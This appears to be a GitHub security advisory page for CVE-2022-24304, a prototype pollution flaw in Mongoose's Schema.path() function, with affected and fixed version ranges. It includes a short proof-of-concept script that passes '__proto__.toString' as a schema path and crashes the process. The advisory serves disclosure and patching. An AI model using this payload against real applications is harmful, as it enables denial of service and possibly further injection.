Advisory

GHSA-h8hf-x3f4-xwgp

Also known as: CVE-2022-24304

Summary

Mongoose Vulnerable to Prototype Pollution in Schema Object

Details

Description
Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Prototype Pollution. The Schema.path() function is vulnerable to prototype pollution when setting the schema object. This vulnerability allows modification of the Object prototype and could be manipulated into a Denial of Service (DoS) attack.

Proof of Concept

// poc.js
const mongoose = require('mongoose');
const schema = new mongoose.Schema();

malicious_payload = '__proto__.toString'

schema.path(malicious_payload, [String])

x = {}
console.log(x.toString()) // crashed (Denial of service (DoS) attack)

Impact
This vulnerability can be manipulated to exploit other types of attacks, such as Denial of service (DoS), Remote Code Execution, or Property Injection.

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2022-08-27 00:00 UTC
Modified
2024-04-22 23:44 UTC

Affected packages and fixes

mongoose

npm · All systems

Affected

  • introduced 6.0.0, fixed 6.4.6 (semver)

Fixed versions

6.4.6

Fix

mongoose

npm · All systems

Affected

  • introduced 0, fixed 5.13.15 (semver)

Fixed versions

5.13.15

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences